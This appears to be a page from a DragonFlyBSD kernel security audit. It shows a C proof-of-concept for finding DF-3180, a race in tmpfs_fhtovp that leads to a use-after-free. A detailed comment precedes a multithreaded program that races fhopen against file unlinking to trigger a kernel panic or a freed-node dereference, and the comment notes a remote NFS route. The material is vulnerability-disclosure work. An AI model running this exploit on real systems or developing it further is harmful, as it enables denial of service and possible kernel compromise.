โฌข DragonFlyBSD Kernel Audit
DF-3180 / fh_race.c
โ† back to finding โ†“ download raw
/*
 * DF-3180 โ€” tmpfs_fhtovp passes an UNPINNED tmpfs_node to tmpfs_alloc_vp.
 *
 * sys/vfs/tmpfs/tmpfs_vfsops.c:453-465: fhtovp holds TMPFS_LOCK (the mount
 * token) while walking tm_nodes_used, then calls
 * tmpfs_alloc_vp(mp, NULL, node, LK_EXCLUSIVE, vpp) on the found node with
 * NO reference pin (contrast tmpfs_unmount at tmpfs_vfsops.c:288/:347,
 * which bumps tn_links around blocking operations, and tmpfs_alloc_file in
 * tmpfs_subr.c:568-577, whose node is pinned by its dirent's link count).
 *
 * tmpfs_alloc_vp blocks (getnewvnode at tmpfs_subr.c:383, vget at :432);
 * blocking releases the mount token (the code's own comment at
 * tmpfs_vfsops.c:296-302 documents this DragonFly token behavior), so the
 * "found" node can concurrently go through tmpfs_inactive (DOOMED) ->
 * tmpfs_reclaim -> tmpfs_free_node (tmpfs_vnops.c:1852-1865) and be
 * kfree_obj'd.  When vget() then returns ENOENT for the reclaimed vnode
 * (sys/kern/vfs_lock.c:595-601), alloc_vp does `vdrop(vp); goto loop;`
 * (tmpfs_subr.c:432-435) and re-reads node->tn_vnode at :382 โ€” a
 * use-after-free read โ€” and can install the freed pointer as
 * `vp->v_data = node` at :468 (type confusion for later vnode ops).
 *
 * On INVARIANTS kernels the race is caught earlier by the KKASSERT at
 * tmpfs_subr.c:402 (DF-3072's panic).  On stock kernels the asserts are
 * gone and the freed-node deref proceeds silently.
 *
 * Reachability: VFS_FHTOVP on tmpfs is called by (a) the NFS server for
 * every client file handle when a tmpfs has been exported via
 * mountctl(MOUNTCTL_SET_EXPORT) โ€” tmpfs_mountctl in tmpfs_vnops.c:1879 โ€”
 * and (b) fhopen()/fhstat() (root-only).  This PoC uses the root-only
 * fhopen() path to drive the identical code with a local race; the remote
 * analogue is an NFS client replaying a file handle while the file's last
 * reference goes away.
 *
 * Build:  cc -O2 -pthread -o fh_race fh_race.c
 * Run:    ./fh_race /tmp/fhrace 600
 * Expect (INVARIANTS kernel): panic "tmpfs_alloc_vp: node is not locked"
 *       or KKASSERT at tmpfs_subr.c:402 (DF-3072 manifestation) proving
 *       the fhtovp window is hittable; on stock kernels the same window
 *       reaches the freed-node deref at tmpfs_subr.c:382.
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/stat.h>

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static fhandle_t g_fh;
static volatile int g_round;
static volatile int g_stop;
static volatile int g_fhops;

static void *
racer(void *arg)
{
	long id = (long)arg;
	int last = -1;

	while (!g_stop) {
		int r = g_round;
		if (r != last) {
			/* new round: g_fh was refreshed by main */
			last = r;
		}
		int fd = fhopen(&g_fh, O_RDONLY);
		if (fd >= 0) {
			g_fhops++;
			close(fd);
		}
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/tmp/fhrace";
	int seconds = (argc > 2) ? atoi(argv[2]) : 600;
	pthread_t th[4];
	char buf[64];
	long rounds = 0;

	setvbuf(stderr, NULL, _IONBF, 0);

	for (long i = 0; i < 4; i++)
		if (pthread_create(&th[i], NULL, racer, (void *)i) != 0)
			err(1, "pthread_create");

	u_int start = time(NULL);
	while ((int)(time(NULL) - start) < seconds) {
		int fd;

		fd = open(path, O_CREAT | O_TRUNC | O_RDWR, 0600);
		if (fd < 0)
			err(1, "open(%s)", path);
		if (write(fd, buf, sizeof(buf)) < 0)
			err(1, "write");
		if (getfh(path, &g_fh) < 0)
			err(1, "getfh");
		g_round++;			/* racers switch to new fh */

		/*
		 * Race window: racers are inside fhtovp walking
		 * tm_nodes_used for this node while we drop the last
		 * ref and unlink it -> inactive -> reclaim -> free_node.
		 */
		usleep(200);
		unlink(path);
		close(fd);
		rounds++;
		if ((rounds % 2000) == 0)
			fprintf(stderr, "rounds=%ld fhops=%d\n", rounds,
				g_fhops);
	}
	g_stop = 1;
	for (long i = 0; i < 4; i++)
		pthread_join(th[i], NULL);
	fprintf(stderr, "done: rounds=%ld successful fhopen ops=%d "
		"(no panic; window not hit in this run)\n", rounds, g_fhops);
	return 0;
}